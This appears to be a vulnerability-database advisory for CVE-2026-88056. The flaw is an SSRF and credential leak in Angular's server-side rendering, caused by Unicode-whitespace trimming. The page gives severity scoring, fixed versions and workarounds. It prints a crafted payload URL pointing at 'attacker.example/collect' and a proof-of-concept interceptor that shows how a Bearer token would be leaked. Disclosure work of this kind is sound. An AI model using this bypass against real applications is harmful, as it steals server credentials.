VulnerabilityPublished 10 Sep 2026

CVE-2026-88056: Angular · SSRF and Cross-Origin Credential Disclosure via URL Resolution Discrepancy in SSR

Affects @angular/platform-serverSource GCVE Database

Not known to be exploited : upgrade to 22.1.4 soon.

Data as of 26 Oct 2026, 10:12 UTC

Severity

High

Rated by Threat Radar · CVSS not yet scored by NVD

EPSS: 0.5% chance of exploitation in 30 days – higher than 45% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
Patch: Available – fixed in 22.1.4, 21.2.22, 20.3.30

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Attack Vector: Network
Attack Complexity: Low
Attack Requirements: None
Privileges Required: None
User Interaction: Passive
Vulnerable system confidentiality: High
Vulnerable system integrity: High
Vulnerable system availability: None
Subsequent system confidentiality: None
Subsequent system integrity: None
Subsequent system availability: None

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: Low: The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Attack Requirements: None: The successful attack does not depend on the deployment and execution conditions of the vulnerable system. The attacker can expect to be able to reach the vulnerability and execute the exploit under all or most instances of the vulnerability.
Privileges Required: None: The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction: Passive: Successful exploitation of this vulnerability requires limited interaction by the targeted user with the vulnerable system and the attacker’s payload. These interactions would be considered involuntary and do not require that the user actively subvert protections built into the vulnerable system.
Vulnerable system confidentiality: High: There is a total loss of confidentiality, resulting in all information within the Vulnerable System being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Vulnerable system integrity: High: There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the vulnerable system. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the vulnerable system.
Vulnerable system availability: None: There is no impact to availability within the Vulnerable System.
Subsequent system confidentiality: None: There is no loss of confidentiality within the Subsequent System or all confidentiality impact is constrained to the Vulnerable System.
Subsequent system integrity: None: There is no loss of integrity within the Subsequent System or all integrity impact is constrained to the Vulnerable System.
Subsequent system availability: None: There is no impact to availability within the Subsequent System or all availability impact is constrained to the Vulnerable System.

Definitions: FIRST CVSS v4.0 specification.

Exploitation evidence

Disclosed: evidence found.
CVE published 10 Sep 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponised: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 26 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponised: Public exploit code exists in Metasploit or Exploit-DB, or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Upgrade @angular/platform-server to 22.1.4; @angular/platform-server to 21.2.22; @angular/platform-server to 20.3.30.

Affected software

Product	Affected	Fixed in
npm@angular/platform-server	Affected >=22.0.0 <22.1.4	Fixed in 22.1.4
npm@angular/platform-server	Affected >=21.0.0 <21.2.22	Fixed in 21.2.22
npm@angular/platform-server	Affected >=20.0.0 <20.3.30	Fixed in 20.3.30
npm@angular/platform-server	Affected <=19.2.25	Fixed in–

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Description

### Summary A discrepancy between WHATWG URL parsing and Angular SSR's URL resolution allows attackers to bypass same-origin checks and cause Server-Side Request Forgery (SSRF), potentially leaking sensitive server-side credentials. ### Technical Description When applications validate incoming URLs using the WHATWG URL standard (`new URL(input, trustedOrigin)`), Unicode whitespace characters (such as NO-BREAK SPACE `U+00A0` or ZERO WIDTH NO-BREAK SPACE `U+FEFF`) are not stripped and are evaluated as part of a same-origin relative path (e.g. `http://trusted-origin/%C2%A0//attacker.example/collect`). Consequently, these URLs successfully pass application-level same-origin checks. However, `@angular/platform-server`'s URL resolution utility (`resolveUrl` / `parseUrl`) previously executed `String.prototype.trim()`. Because JavaScript's `String.prototype.trim()` strips all Unicode whitespace (including `U+00A0`), the leading non-breaking space was removed, converting the string into a cross-origin protocol-relative URL (`//attacker.example/collect`). When resolved during server-side rendering (such as in `relativeUrlsTransformerInterceptorFn`), this caused the HTTP request to be dispatched to the attacker-controlled origin (`http://attacker.example/collect`), leaking any credentials (such as `Authorization` headers) attached by the application for the intended same-origin request. ### Impact & Reachability * **Reachability**: The vulnerability affects Angular Server-Side Rendering (SSR) applications where user-controlled input influences resource or request URLs processed by Angular's `HttpClient`, an application-level same-origin check is performed before dispatching, and sensitive server-side credentials (such as API keys or Bearer tokens) are attached to approved requests. * **Impact**: Successful exploitation allows attackers to bypass same-origin validation, triggering Server-Side Request Forgery (SSRF) and leaking sensitive server-side credentials attached to the request. **Proof of Concept:** ```ts // Interceptor performing same-origin validation const trustedOrigin = new URL('http://localhost:4000/'); const target = new URL(req.urlWithParams, trustedOrigin); if (target.origin !== trustedOrigin.origin) { throw new Error('Cross-origin request blocked'); } // Request passes validation, server attaches sensitive credential: const authenticatedReq = req.clone({ headers: req.headers.set('Authorization', 'Bearer SERVER-SECRET-TOKEN'), }); // @angular/platform-server previously trimmed the URL, converting it into // //attacker.example/collect and routing the credential to the attacker. ``` ### Workarounds * Validate and sanitize input URLs to disallow leading Unicode whitespace characters (such as `\u00A0`) before performing origin checks or passing them to `HttpClient`. * Avoid relying solely on `new URL(input, trustedOrigin).origin` for authorization if the input string may be trimmed or processed by utilities that normalize whitespace differently from the WHATWG URL standard.

CWE-918Server-Side Request Forgery (SSRF) (opens in a new tab)
Base weaknessCWE Top 25 (2025): #22OWASP Top 10 A01:2025: Broken Access Control (opens in a new tab)
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
OWASP Cheat Sheets
Server Side Request Forgery Prevention (opens in a new tab)
Unvalidated Redirects and Forwards (opens in a new tab)
Cross Site Scripting Prevention (opens in a new tab)
DOM based XSS Prevention (opens in a new tab)
Authorization (opens in a new tab)
OWASP ASVS 4.0.3
V12.6.1 (opens in a new tab)
V5.2.6 (opens in a new tab)
Attack patterns
Server Side Request Forgery (opens in a new tab)
From MITRE CWE, MITRE CAPEC and OWASP (Top 10, OpenCRE).

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